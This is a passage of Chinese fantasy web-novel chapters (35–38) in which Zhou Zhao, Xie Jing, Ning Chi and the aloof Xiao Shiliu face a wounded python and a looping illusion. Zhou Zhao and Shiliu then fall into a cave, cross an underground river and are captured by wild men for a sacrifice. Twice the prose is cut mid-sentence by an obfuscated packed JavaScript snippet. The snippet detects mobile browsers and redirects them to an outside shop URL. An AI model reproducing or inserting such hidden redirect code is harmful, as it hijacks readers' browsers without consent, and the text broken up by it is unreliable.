这里遍地都是骨灰,谁知道哪里又会冒出来半尸还是旁的什么东西,竟还能睡着做梦,不是怪人是什么? 谢景正这么想着,却见对面的宁啻突然睁大眼睛,露出惊恐的表情,谢景疑惑道:“怎么?我说得不对吗?表哥,你怕他做什么?” 宁啻指着他背后,大叫道:“表、表弟!蛇!” 35. 巨蟒 谢景以为宁啻又像小时候那样吓唬他玩儿,不由道:“蛇?笑话,这荒漠里怎么会有蛇?” “长淮!真有蛇!” 最先反应过来的人是周昭,她眼疾手快地拿起地上的剑,与此同时,谢景感到脖颈处一阵凉飕飕的阴风和近在身侧的嘶嘶声。 谢景一回头,正对那条巨蟒两个灯笼般黄橙橙的蛇眼睛。 错愕间,蟒蛇张开血盆大口! 周昭一跃而起,但巨蟒的皮肉竟坚硬如铁,巨大的蛇首一晃将她剑锋弹开,谢景趁机打了个滚从蛇口底下脱险,不由叫道:“这里怎么会有蛇的?!” 众人连连后退,眼前的是一条成人小臂粗细的青色巨蟒,吐着血红色的长信子,方才在他们都没有发觉的时候悄然爬到了谢景身后。 它上半身直立着,竟有成年人那么高,而下半身还埋在土里,应该就是从地底下爬出来的。 蟒蛇方才一击不成按理说会恼羞成怒,但此刻它目光如炬,只是嘶嘶地吐着信子,并未再向它们袭来。 周昭仔细一看,才发现蟒蛇身上遍布伤痕,有的甚至还在流血,皮肤在阳光下呈现出暗红色的斑驳纹路。 周昭道:“长淮,你看它的伤,像不像刚才那些半尸们留下的?” 谢景惊魂未定,经周昭这么一提醒也看出了端倪,点点头道:“好像是,难道它也是被半尸困在此处的?” 既脱了险,谢景那颗猎奇的心又开始躁动,他将巨蟒看了又看,忽然道:“等等,你们没发现它一直在看一个人吗?” 周昭循着谢景的目光看去,萧十六正十分悠闲地站在那儿,手里还把玩着那些亮晶晶的骨灰,反问道:“看我做什么?” 谢景扬了扬下巴:“你也早就看见这蟒了吧?” 按照刚才的方位,宁啻和萧十六都是面向谢景的,谢景不信对方没发现蟒蛇,故有此一问。 萧十六很坦诚道:“是啊,我早就发现了。” 他抖干净手里的骨灰,往前走了两步,巨蟒的目光也跟着他微微移动。蛇首像是察觉到某种危险的信号,微不可察地稍稍后倾了些。 谢景自然没有放过这个细节,道:“看!” 轰! 下一瞬,那只蟒蛇就这么在众人面前软趴趴地倒下去了。 萧十六回过头,十分无辜道:“不关我事。” 确实不关他的事。 巨蟒应该是像他们误闯入这里,在不久前被半尸袭击拖入地下,如果不出意外它会成为这里最好的肥料。但周昭他们清理干净了大部分半尸,巨蟒才得以脱身。不过它受困太久,伤势不轻,此刻精疲力竭软绵绵地倒在地上,看上去一点儿攻击性也没有了。 宁啻拍拍胸口,喘出一大口气,道:“还好还好。” 周昭道:“长淮,它刚才是把你当成食物了吧。” “这个不重要。”谢景一挥手,步步紧逼道,“你,跟它认识?还有,你刚才明明看见蟒蛇来了,为什么不说?” 他语气中隐隐有几分质问,无他,只是眼前这个人给他的感觉总不大好,就好像什么东西一直在暗处蛰伏着,而对方却游刃有余。换句话说,这是个完全脱离他们掌控的人,于谢景而言,脱离掌控的都算危险人物。 萧十六语气不善道:“我为什么要说?你们的死活,跟我有关系吗?” 周遭气温彷佛瞬间冷却,宁啻搞不清缘由,纳闷道:“这位朋友,你说的这话什么意思?难道你不是远道而来赶来救我们的吗?” 萧十六冷哼道:“笑话。” 周昭见状,连忙站在两人中间,将谢景咄咄逼人的目光隔开,道:“我说二位,当务之急能先说说这巨蟒怎么处理吗?” “杀了。” 一左一右的两人异口同声道。 周昭哭笑不得,想不到在这件事上他们竟有如此的默契,谢景先开口道:“这东西留着也是祸害,方才它不就是想吃了我们吗?而且我们也只是猜测,谁知道它和半尸是不是一伙的,专门在荒漠上食人肉。” 巨蟒像是听懂了他说的话,晃了晃蛇首想爬起来,不知道是因为饿了还是伤重,又摇摇晃晃地一头栽下去,目光里泄出一丝不易察觉的凶狠。 萧十六蹲下身,一点儿也不怕,手掌在蛇首上像拍着玩儿似地重重拍了几下,道:“小殿下,你的剑刺不穿蛇皮,我建议你可以从它嘴巴里刺进去,再开膛破肚,划成两半,蛇皮也可剥下来玩儿。” 他语气天真,说出来的话却十分残忍。巨蟒被他拍打的有些可怜,有气无力地拿那双眼睛求救似地看向周昭。 谢景虽然认同杀掉巨蟒的意见,但此等血腥手法并不认同,厌恶道:“何必那么麻烦,一剑刺死算了。” 宁啻却道:“算了吧,我连鸡都没杀过,可见不得杀这种庞然大物。” 谢景无语道:“表哥,又没让你动手。” 周昭见这蟒蛇少说也有上百年岁,如今模样凄惨威风不在,心中有些不忍,谢景叫道:“让我来!” “长淮,”周昭阻止道,“算了吧。反正我们也没被它伤到,所谓大路朝天,各走一边,我们赶去行人岭要紧。” 谢景还在犹豫,宁啻也说道:“是啊表弟,阿鸢说得对,再说杀孽犯多了是要遭天谴的。” 萧十六像是听到了什么好笑的事情,突然发笑道:“有意思。” 他站起身,语气捉摸不定道:“小殿下,你这朋友忽然让我想起了三年前。你说,我是不是该感谢你让我免于天谴呢?” 萧十六虽是这样问,但周昭总觉得他话里有话。如果她猜得不错,真正的意思应是,若她当时也用同样的话劝十六不要不要犯杀孽,猫和她都会死在对方手上。 她心底生寒,只觉得眼前这个人和刚才倾力救他们的竟像两个人。她早前提醒过谢景离十六远点儿,今日荒漠再见,反倒是她半点儿戒备心都没有了,于是勉力一笑,道:“......十六你真会说笑。” “你们又在打什么哑谜......”谢景和宁啻都是一脸迷茫,萧十六冷淡地笑了笑,周昭亦没有接话。 兴许是这地方实在荒芜,他们用行云令试了好几次都没能奏效,于是一行人只好收拾行囊继续朝荒漠外走去。 说行囊实在夸张了些,周昭他们拿着的不过是江梅棠给的那只乾坤锦囊,里面装着的都是此行需要用到的符箓药品之类。不论周 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他看似潇洒,言语中却流露出几分落寞来。谢景毫无觉察,纳闷道:“生病了?什么时候?我走以后吗?” “是啊。”宁啻转过头,换上一副苦大仇深的表情,“表弟你走了,我忧思成疾啊!” 谢景:“......” 萧十六独自一人走在最前面,看上去对他们一点儿兴趣也没有。周昭想了想,还是将手里的饼一分为二,追上他,道:“给。” “不要。” 周昭咬了一口饼,又举到萧十六面前:“十六,这个很香的,你真的不尝尝吗?” 萧十六目光侧过来,却不为所动。 谢景见状,大声道:“阿鸢,刚才我们给他就不要,你又去干什么?” 周昭遗憾道:“好吧......” 她刚要收回,手里突然一空,那块饼已经到了萧十六手上。他举着饼在阳光下看了看,表情很微妙,似乎有点嫌弃,又或者是别的什么意味。 萧十六将那块饼凑到鼻子前闻了闻,这让周昭忍不住想起那只养过的小狼狗,她想到这里赶紧摇摇头,心道:“要是让十六知道我将他比作小狗,定是要生气的。” 萧十六三两下吃完了,周昭问道:“好不好吃?” “就那样吧。”萧十六道。 周昭道:“不打紧,你若是觉得这个不好吃,等回宫我请你吃别的。十六,你吃过蟹粉酥吗?等入了秋,我让父皇送些来山上。” 她还想说什么,却被萧十六打断:“小殿下,你有时候很幼稚。” 萧十六道:“你无非是觉得今日我救了你,于是当下你心中总想着我喜欢什么,想要什么,巴不得立刻就给我,好将这点恩情还了。等过了这阵子,你是你,我是我,何必还等入秋,嗯?” 对方不领情,还说得头头是道,周昭只好讪讪道:“啊,幼稚吗?我不是这个意思......” “不过,要让一个人时时刻刻记着另一个人喜欢什么,想要什么,应该很难。”十六似乎认真思考了下这个问题,他沉思时凤眼微微下垂,面容比平常要显得柔和些,“不仅很难,还很麻烦,很蠢。” 36. 山洞 他很少用这么强烈的词,如今一连点评三个“很”字,果真觉得这是件于自己而言很抗拒的事情。 周昭认真道:“也没有,母后就会时时刻刻想着我们喜欢什么,想要什么,譬如我喜欢蟹粉酥,每次宫宴都有这道点心。五哥喜欢字画,宫里进贡来的多半会送去他那里,这也许有点难,麻烦,但并不蠢。” 萧十六抬手遮了遮阳光,他微微眯起眼睛,用很轻的声音漠然道:“不,很蠢,太蠢了。” “你们在说什么?谁太蠢了?”宁啻凑过来道,“表弟他确实有点蠢,不过也还好吧,干嘛说他。” “喂!谁说我坏话!” 周昭促狭道:“我们谢景殿下可是金枝玉叶,谁敢说你坏话。” 萧十六停下脚步,一块巨石挡在他们的必经之路,谢景上前道:“奇了怪了,我怎么觉得我们刚才就在这儿?” 周昭捡起一块碎布:“这就是我们刚休息的地方,你们看,这是长淮的衣服。” 谢景被半尸围攻,周昭手里的布条正是半尸从谢景衣服上撕下来的。宁啻道:“不对啊,我们已经走了大半个时辰,怎么又回来了?” 此时日头正毒辣,周昭抬头看了看,天上一丝云也没有,她指着那块巨石道:“确实不对。” 谢景道:“哪里不对?” 萧十六道:“影子。” 周昭接着道:“就是影子。我们在此处休息时,背靠巨石,刚好躲在石头阴影下面,大约是午时初。已经过了快一个时辰,你们看石头的影子,分毫未动。” 谢景道:“没错!影子的方向跟刚才一模一样。” “完了!不会遇到鬼打墙了吧!”宁啻在原地踱步道,“这里离无相渊很近,被困住可不是闹着玩儿的!无相渊可比三苗国更为凶险,这里不过是缺胳膊少腿的半尸,无相渊那可都是全乎的千年恶鬼,吃人的!” 谢景见他越说越夸张,不屑一顾道:“表哥,照你这么说,黎国也挨着无妄海,我怎么没听过恶鬼从海底爬出来吃人的?” 宁啻一本正经道:“那是因为从来没有人成功渡过无妄海,海底住着一只鬼王,名叫成业,无妄海是他的地界。” “鬼王?笑死人了!”谢景哈哈大笑道,“那你说说,他是男是女?长什么样子?” 他俩正互不相让,突然传来一声熟悉的嗤笑,谢景见笑他的正是自己最不待见的那位,不由反问道:“喂,你笑什么?” 周昭也问道:“十六,你听说过吗?” 萧十六答道:“我笑你们不好好想想怎么出去,反倒争论这些,难道是想让那位亲自出来,带你们出去吗?” 周昭心想:“十六口中的那位,应当就是指‘鬼王成业’了,难道世间真的有鬼王存在吗?不过既然有鬼,有鬼王也不是稀奇事儿,但从没听师父提起过......” 谢景哑口无言,半晌,道:“你不是很厉害吗?怎么出去?” 萧十六两手一摊:“不好意思,无可奉告。” 周昭问道:“宁兄,劳烦再讲讲鬼打墙是什么说法。” 宁啻道:“我也是听别人说的,鬼打墙,其实就是一种幻象,通过周围的环境引导你,你以为你走得方向是对的,其实是错的,最后被困死在里面。” 周昭沉吟片刻,道:“我想,我们也许能走出去。既然我们看到的方向都是错的,也就是说这里根本没有方向,不如......” “将错就错!”谢景附和道,“我知道了,不如我们蒙上眼睛,一直往前走,鬼打墙就不会影响我们的判断了。” 宁啻赞许道:“阿鸢,你真聪明。” 周昭道:“我也只是猜测。” 一直沉默的萧十六开了尊口:“不妨试试。” 周昭看向十六,不知道为什么,她总觉得十六什么都知道,只是不愿意开口,或者说,认为没必要告诉他们。这只说明了一件事,于十六而言,他们的死活确实无关紧要。十六的姿态永远是高高在上的,譬如问她如何破局,譬如现在让她不妨一试。 所有人都没意见,于是各自从衣袍上撕下一条布带蒙在眼睛上。谢景和宁啻二人已经做好了蒙眼的布带,周昭手里捏着的是宁啻给她的,她见十六一直站着不动,低头一看,才想起十六下半截衣袍方才都撕成布条给她包扎伤口了。若是再撕衣服,难免会有点滑稽。 她不由分说地将手中布带递过去:“十六,用这个。” 萧十六睨了她一眼,表示嫌恶道:“不要。” 周昭不在意地笑了笑,抽出匕首利落地在自己的裙摆划下一长条,道:“那你挑吧。” 谢景嗤之以鼻,跟宁啻咬耳朵:“什么人呐!让女孩子撕衣服给他......” 十六似是有些意外,不过还是伸手接了。 周昭这身衣裙是天蚕丝织的,翡翠天青色的料子,薄如蝉翼,绵软中又带着几分凉意。 因此,这块布料从周昭裙摆上落到十六掌心时,那份凉沁沁的柔软触感,就好像苍界山天边一片云,一并轻飘飘地落在他掌心了。 “等等。”谢景本来已经蒙好眼睛,忽然将其扯了,“我们都这么蒙住眼睛,万一走了不同的方向怎么办?” 周昭道:“唔,这确实是个问题。” 宁啻道:“我提议,我们牵着手走!” 说罢,宁啻便悄无声息地往周昭那边靠了靠,谢景假装没看到他那便宜表哥打的什么歪心思,周昭也不扭捏,点头同意。 若按现在的站位,周昭站在萧十六和宁啻二人中间,谢景在最外。宁啻喜笑颜开:“阿鸢,我......” 话还未说完,一根白森森的大腿骨便从天而降落到他怀里,宁啻三魂惊掉两魂,手一抖扔掉腿骨,叫道:“什么鬼东西?!” “不想要那个,这儿还有一根。”始作俑者晃了晃手里的另一根骨头,周昭无奈道:“十六,你别吓他。” 谢景眉毛跳了跳,问道:“这不会是半尸吧?” “不是。”萧十六懒洋洋道,“新鲜 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周昭喊了几声也不见应,却瞥见洞口悬着根欲落不落的缎带,正是她交给萧十六的那根。她心中一阵后怕,冲着地洞又喊道:“十六!你在吗!” 此时风沙愈发大了,那洞口竟然眼看着一点点缩小,好像一只缓缓闭合的深渊巨口。 周昭心一横,暗道:“不就是一个洞吗?难不成真就摔死我了?” 周昭此人自小泡在蜜罐子里长大,爹疼妈爱,上面又有几个哥哥们宠着。就算是苍界山上那位,也对她“爱之深责之切”地捧在手心里教养着。这一人一勺糖地养成了周昭那颗宽厚仁爱的心,好处不必多说,坏处也十分明显——不记仇,十分没心没肺地愿意相信别人。 譬如纵使萧十六从前似是而非地要杀她,不管杀没杀,反正是存了那么点儿恶毒心思。 眼下萧十六“远程而来”救她一条性命,周昭便肯把全副身家都交出去。 她纵身一跃,跳进这深渊巨口。 几乎是她刚跳进去,头顶的那点儿光线便与世隔绝般消失了。 紧跟着,后背传来一阵剧痛,周昭宛如掉了线的风筝摔在洞底,摔得她眼冒金星。 等周昭缓过这阵疼,眼睛勉强视物,才发现这地方大得惊人。模糊间,一个身影像鬼似的蓦地出现洞壁的倒影上。周昭下意识摸刀,看清是谁,顿时卸了防备,就着摔下来的姿势向后一瘫,问道:“十六,你吓死我了。” 萧十六俯视着她,微微弯下腰,目光危险,淡淡道:“小殿下,你就这么信任我?” 周昭反问道:“你不值得我信任吗?” 这洞里不算明亮,从下往上看,萧十六那双眼睛显得格外幽深。此刻他的眼底闪过一丝疑惑,反倒显出几分易于亲近的人情味儿来。 “......万一不呢。” “那我只好赌一把。”周昭望着头顶黑漆漆的一片,突然语气一沉,“十六,这里不太对。” 37. 暗河 萧十六抬头看去,周昭道:“洞口完全封死了,就好像......” “就好像没有洞口,这里不是地洞,而是别的什么地方。”萧十六没有对这件事表现出太多惊讶,他垂下眸子,目光停在周昭脸上,问道,“小殿下,你打算一直这么躺着吗?” 被他这么一问,周昭才反应过来,她被盯得有些不自在,试着挪动了下身体,讪讪道:“......我起不来。” 周昭掉下来时就感觉到了,这荒漠下竟是一片类似沼泽泥地的地方,摸上去很潮湿。也幸亏这里还算软,不至于摔得她粉身碎骨。但毕竟从那么高掉下来,还是痛极了。 萧十六听她这么说,递给她一只借力的手。 周昭忍不住嘶了一声,萧十六淡淡道:“你受伤了?” 周昭从身下的泥地里摸到一块凸起,触感光滑,不像是石头。她捡起来,借着微光仔细瞧了瞧,那是一块完好无损的碧玉,道:“哦,就是这东西硌到我了。” 说硌到是轻的,实际上周昭的后腰应该是被撞伤了,才会一时半会儿起不来。 萧十六道:“这玉很特别。” 确实特别。 玉饰一般玉佩居多,但这块玉不像装饰物,足有半个手掌大小,拿在手里沉甸甸的,上面还有些繁复细致的花纹,只是被泥土覆盖住了看不清楚。周昭将玉放在一边:“别管这玉了,我们还是想想怎么出去吧。说起来,既然头顶看不到出口,光源是什么呢?” 萧十六抬手指道:“石壁。” 周昭方才一直是躺着,起身才看见洞里的石壁竟散发着淡淡的明黄色幽光,忍不住道:“真是奇了。” “还能走吗?” “能走。” 萧十六扶她坐下,盯着石壁看了半晌:“原来是一种虫子,我也不认识。” 他说着便伸出手,周昭刚想出声制止,却已经来不及。萧十六从石壁抓了只发光的虫子举到她眼前,道:“看,尾巴在发光。” 周昭一把抓住他手臂,急道:“快丢开它,小心有毒。” 萧十六并不照做,那双好看的凤眼微微抬了抬,问道:“有毒怎么了?” 周昭耐心道:“有毒你会受伤的。” 她生怕萧十六再问她受伤怎么了,虽然别人一定不会问这种问题,但十六说不定真会问,她催促道:“放开它吧,十六。” 萧十六哦了一声,手一松,那只小虫子又自动飞回石壁去了。洞中太黑,周昭突然瞥见手腕那朵莲花,竟然清晰地浮现在黑暗里,原来这东西平时不显山露水,只有在没光的地方才能看到,她忍不住问道:“十六,你就是跟着这莲花找到我们的吗?” 萧十六猛地扭过头,目光阴冷:“你觉得我跟踪你?” “不!我不是这个意思......”周昭等他神情缓和些,才问,“这术法有名字吗?我只是觉得怪有意思的。” “没有。”十六冷漠地说完,站起来环顾四周,“你坐在这儿,我去找找出口。” 周昭本来想跟他一起,但想了想自己若是执意这么做,反而会成为对方的负担。她道:“十六,拿着剑。” 她很早就注意到十六似乎从来没有佩剑,哪怕此番来三苗国,也是空手而来的。 萧十六歪了歪头,道:“我不会使剑。” 周昭忍不住啊了一声,心想:“十六身手很好,却不会使剑,当真是件怪事。” 她随后又想到十六自小在苍界山,应当是没人教过他的,心下十分惋惜,脱口而出道:“等回苍界山,我们一起练剑。” 萧十六挥挥手离开了。 等他走远了,周昭才后知后觉自己说的实在可笑。十六就算不会用剑,也不逊色他们任何一个人,她竟大言不惭要和对方练剑。 周昭百无聊赖,目光停留在旁边那块玉上。这阵子她的眼睛已经适应了洞里的黑暗,加上实在好奇,便又捡起那块玉,将上面的泥土擦干净,小心翼翼地托在掌心里看。 玉石在石壁的照耀下包裹上一层柔和的淡光,更显其本质纯净,令人惊叹。就像一块微冷的月光被她捧在手心,周昭情不自禁称赞道:“真是一块好玉,要是拿给五哥看看就好了。” 周昭口中的五哥便是六皇子周澈,他身体不大好,不好争权,对这些字画玉石倒是情有独钟。 借着微光,周昭辨认出玉石上原来刻着的是九爪龙纹,龙首昂扬,栩栩如生。 莫非这是皇族的物件...... 她将玉石翻过来,底下果然刻着两行小字。可惜这些字不是周朝文字,周昭只勉强看得懂其中有一个“天”字,一个“人”字,别的完全猜不出了。 “看什么呢?” 循声望去,萧十六回来了。他应当是为了方便,干脆将外面那件短了半截、不伦不类的外袍脱了,只穿着里面的窄袖长衣。腰间用原先那根青绿色的腰带随意系了,愈发显得身姿挺拔。 只是他手里却拿着根老长的木头棍子,让人忍不住心想,如此英俊的少年应该拿着把剑才对,木棍实在煞风景。 “这地洞果然离奇。”十六边走边道。 周昭道:“怎么说?” 萧十六在她身边坐下,道:“有条暗河,应当是出口。” 周昭道:“荒漠之下竟有暗河,确实离奇。不过,我们一直待着这里也不是办法,不如出去看看再说。” 萧十六也认同周昭的看法,他点点头,目光在周昭手中那块玉上短暂地停留片刻,周昭将玉向他面前举了举,微笑道:“十六,这上面有字,我认不全,你瞧瞧?” 萧十六收回目光,轻描淡写道:“哦,有字。不过我不识几个字。” 周昭收回手,心道自己今日真是不宜多言。 萧十六继续道:“认得几个,但不会写。” 周昭没有追问,只将玉石小心放在原处。尽管她十分好奇,隐隐觉得这块玉跟三苗国一定有关联,但她一心记挂谢景二人的安危,一刻也不能再等了。 “十六,我们出去吧。” 十六打量她道:“那暗河不浅,你受了伤,渡不过去。” 周昭道:“无妨,我感觉好多了。” 她扶着墙壁缓缓站起来,那些会发光的小虫子在她的手快要靠近时,便悄然飞离了,因此周昭并没有触碰到它们,她不由想:“怪事,十六刚才怎地如此轻松就抓了一只。” “用这个。” 那根十六捡回来的木棍被强行塞到她手里,周昭暗道:“原来这老头棍是给我准备的。” 二人沿着蜿蜒曲折的山洞一直走,好在岔路不多,鬼打墙也没再出现。约 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16663596|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 莫半柱香后,果然听到水流声。 等他们走近些,眼前豁然开朗,一条玉带似的暗河蜿蜒其中,其实并不汹涌,只是在这空旷的洞中回响,显得声音格外大些。 有河就一定有出口,但出口距离此处多远可不好说。周昭虽识水性,心中亦有些发怵。 似是看出她心中思虑,身侧人问道:“怕了?” 周昭不答,反问道:“十六,这暗河比苍界山下那条如何?” 十六摇头道:“小了点。” 周昭莞尔一笑,道:“我也这么觉得,因此现在不怕了。你常与般般在山下大河抓鱼,眼前有何所惧?” 周昭的心态不可谓不好,她将满头青丝随手绾起,道:“十六,水下情况未知,等会儿我们千万不要走散了,万一真走散了,就回到这儿会合,如何?” 萧十六嗯了一声,捡起木棍在地上划拉了几下。 周昭侧过身子看了看,忍不住咦了一声,十六道:“做个标记。” 这里地形复杂,做个标记自然万无一失,不过周昭疑惑的不是这个,她问道:“十六,你写的什么字?” 萧十六挑眉道:“小殿下,莫非是在说我写得太丑,入不了你的眼?” 周昭仔细看了看,还是认不出,十六便在旁边又写了个字,待他写完最后一笔,周昭恍然大悟道:“明鸢?第一个原来是‘明’字?这是哪种文字?我从没有见过。” 那个‘明’并非寻常写法,左边是个圆圈,右边则是一个月牙形,十六丢开木棍,罕见地笑了笑,道:“这是我造的字。明者,日月也。” “妙极了!”周昭道。 “胡乱写着玩儿的,”萧十六上前一步,向后看了一眼,“小殿下,你跟着我。” 他说完,便纵身一跃。 周昭紧随其后,甫一下水,才觉河水冰凉,寒意扑面而来。他们一前一后游了半柱香,只觉山洞中越来越暗,依稀能看到两侧石壁上光源也越来越少。 周昭正思虑间,水势突然湍急,前方竟出现了一个不大不小的漩涡。只因河道弯曲,等他们看见时已经快要到跟前。再往前被上方石壁挡住什么也看不见,周昭探出头,叫道:“小心!” 不消她提醒,萧十六自然也看见了那漩涡。他回过头,眉头紧锁地看了周昭一眼,本想到她身边去,无奈水势凶猛,再往前一定会被漩涡吸进去。 周昭灵机一动,拔出背后的剑,道:“接住了!” 这动作本来再简单不过,但在水中可不是那么容易,周昭这么奋力一扔,立刻被灌了一大口水,萧十六接住剑,反手往石壁上狠狠一插,利刃划出一道惊险的火花,总算堪堪在漩涡前停下,他一手握住剑柄,冲周昭喊道:“抓住我!” 周昭被呛得不轻,她奋力地朝十六那边游了几下,眼看就要抓住对方的手,一个巨浪打过来,周昭连声音也来不及发出,就淹没在那浪头里了。 河水冰冷刺骨,周昭后腰被撞到的地方愈发疼痛,简直像无数根针刺进骨缝里。她意识恍惚了一瞬,心想:我堂堂大周皇女,难不成今日要命丧于此? 不!疟鬼还没抓到,我怎么能死? 这么想着,周昭忽然冷静下来。她没有再拼命挣扎,而是老僧入定般任由自己被漩涡的水流推着向前。 “殿下!” 38. 野人 周昭醒过来时,发现自己还在水里,不过周围风平浪静,早已不似刚才湍急汹涌令人心悸。她吐出一口气,颇有劫后余生之感,头顶传来熟悉的声音—— “醒了?” 周昭抬起头,萧十六的脸距她不过须臾,眉头比方才皱得更紧了。 周昭忽然心安下来,惊喜道:“太好了十六!我们都还活着!” “我以为小殿下不怕死呢。”萧十六慢悠悠道,“不要命地就敢往漩涡里跳?” 周昭得意道:“可是,我赌赢了。” “什么意思?” 周昭道:“十六,你玩过拨浪鼓吗?小时候二哥送给我一只坠满了珍珠的拨浪鼓,有一天我玩着玩着,那上面的一颗珍珠被甩飞了出去。我看过了,漩涡的水流不是完全向下的,说明漩涡底下不是空的,只是因为河道地势不平才形成漩涡,只要我们顺着漩涡的方向往外游,一定会被漩涡甩出去,就像拨浪鼓上面的珍珠一样。” 萧十六沉默片刻,道:“小殿下,你很聪明。但太冒险。” 周昭道:“只要能逃出来,不算冒险。” 周昭就是靠这样游出漩涡的,但等她被漩涡甩出去已经力竭,周昭身体被冻得发僵,此刻才后知后觉地发现,眼下自己正被对方一只手臂带着在水中漂浮。 周昭不好意思道:“十六,你这样还能游吗?” 萧十六没好气道:“那我丢开?” “……”周昭想了想,老老实实闭嘴了。 “你的剑。” “什么?” “没带出来。” 周昭道:“哦,没关系。” 萧十六抿了抿唇,淡声道:“下次不要再这样了。” “嗯?” 萧十六道:“你的剑,防身,不要无缘无故丢给别人。” 刚才水势那样湍急,如果有剑,就能依托石壁慢慢越过漩涡,但周昭毫不犹豫就把剑给了萧十六。周昭听对方这么说,疑惑道:“怎么会无缘无故?又怎么是别人了?十六,你可真见外。” 萧十六没再说话,没过多久,眼前似乎明亮了些,水势越来越深,头顶石壁愈发低矮,萧十六道:“当心,我们要出去了。” 周昭应了一声,二人屏住呼吸潜入水中,水流逐渐湍急,周昭不由自主地被推着向前,一阵混乱过后,眼前一片白光闪过,一股冷气猛地窜入鼻腔。 砰! 水花四溅。 原来暗河出口是一道高悬的瀑布,爆裂的水声引起一阵短暂的耳鸣,周昭只觉脑子里嗡嗡作响,只看见十六的嘴巴一张一合,不知在说什么。一阵尖锐的疼痛在脑海里爆开,紧跟着,那声音尤为清晰地被放进来—— “还好吗?” 周昭木木地动了动脖子,点头道:“还好。” 他们在黑暗里待的太久,乍见天光,眼前的景致争先恐后涌进来—— 这是一个尤为巨大的山谷,四周山峰陡峭险峻,直入云霄,形状怪异各不相同。而在这独一无二的天险之间,平白多出一汪深谭,潭水幽深冷冽,碧绿不见底,像山怪成精长出一双眼睛。 景色太险,让人不敢直视,心中没来由地恐慌。 周昭喃喃道:“我们这是在哪?” 萧十六道:“先到岸边再说。” 这回十六没有在她前面,他一把抓住周昭的胳膊,一起往岸边游。周昭本不欲麻烦他,但伤口痛得厉害,索性任由十六拖着她游了。 萧十六侧过脸,皱眉道:“小殿下,你脸色不太好。” 周昭勉强笑道:“不碍事。” 岸边并不远,周昭左看右看,起了疑惑,心道:“怪事儿,荒漠有水已经很奇怪,怎么还会有如此巨大的山谷?也不知道长淮他们是否也来了这里?” 甫一靠岸,萧十六扶着她坐下,正欲开口说话,突然,一只网迎头而下,哄笑声登时在耳边炸开。 “什么东西?!”周昭喝道。 他们二人冷不防被网住,腥臭味扑面而来,周昭被拽了一个踉跄。透过网眼,不由心里一惊。 只见刚才还不见一个活物的山谷,突然间改头换面,在半山腰之间平白多出密密麻麻的人来。他们或草衣围身,或半裸,无不手拿铁叉木棒,尖叫欢呼。 本来十分幽静的山谷好似巨石入谭,激起千层巨浪,让人头皮发麻。 “我们遭埋伏了。”萧十六面色难看道。 网住他们的正是一只巨大的捕鱼网。三个野人正拖着鱼网将他们往山林里拉,一边拉一边发出叽里呱啦的怪叫声。 二人对视一眼,试着用手去撕那只网,奈何鱼网韧性极好,非得用利器才能破开。 啪! 一道虎虎生风的铁鞭迎头而下,萧十六肩上硬生生挨了这一下,竟然没哼一声,周昭叫道:“十六!” 那野人十分不满地说了些什么,举着手里的鞭子,意思是威胁他们不要再打鱼网的主意。 萧十六面色不虞,攥紧拳头,眼底流露出一丝猩红,又被他强压下去,开口道:“——无妨。” 不知被拖行了多久,眼前一黑,那三个野人将他们抬起来一扔,二人在鱼网里很不体面地滚了几圈,野人又叽里咕噜说了几句,拿着铁叉离开了。 等眼睛适应了这里的黑暗,周昭才看清这里原来也是个山洞,不过他们刚出来的山洞要小些。 周昭叹气道:“龙潭虎穴,算是都被我们遇上了,倒霉,真倒霉。” 萧十六默不作声,周昭只当他被打疼了,于是放软了语气,问道:“十六,你还疼吗?” “祭祀。” 周昭不明所以:“什么?” 对方淡漠道:“他们在说一场祭祀。” 周昭欣喜道:“十六,你能听懂他们说话?” “一点点。”萧十六没有解释为什么自己会听懂这里的语言,“他们还说,跟另外两个祭品一起。” 周昭喜出望外:“是长淮!一定是长淮他们!我们没找错。” 萧十六道:“如果我没猜错,这里就是行人岭。” “行人岭?荒漠下面的山洞竟然通向行人岭!”周昭一时不知该高兴,还是该说时运不济。他们一直要去的地方就是行人岭,兜兜转转终于到了这里,可如今又落入这番境地,连疟鬼的面儿都没见到,反而先成了祭品。 “既然长淮他们也在,反正都是祭品了,祭祀的时候一定能见到,我们不如保存体力,先好好睡一觉,你说呢十六?” 萧十六的眸光在黑暗里尤为闪烁,他摇了摇头,道:“小殿下,你一直这么乐观吗?” 周昭思索道:“也没有,我只是相信天无绝人之路。” 萧十六道:“这样很好,说明你从未遇到绝境,是件好事。” 周昭是身份尊贵的周朝公主,世上确实没有什么于她而言算是绝境。不算疟鬼,她长这么大头痛的只有两件事:一是师父要罚她;二是苍界山苦修,不能常吃到皇宫里那些美味的点心。 “十六,你遇到过的绝境是什么?” “每一天。”萧十六漫不经心道,“每一天于我而言,都是绝境。” “……”周昭一时无言。 她不是爱打探别人过往的人,但当下却为之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16672652|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一动。可话到嘴边又不想问了,她直觉十六不会告诉她,于是寻了个舒服的姿势向后靠了靠:“得失有衡,失去一样东西,就会得到另一样东西。这是师父告诉我的,他说上天是有眼睛的,不会让一个人一直苦下去。人无绝境,终有逆天之时。” “你师父?江梅棠信这些?” “信,我也信。” 萧十六偏过头,静静地看着她。 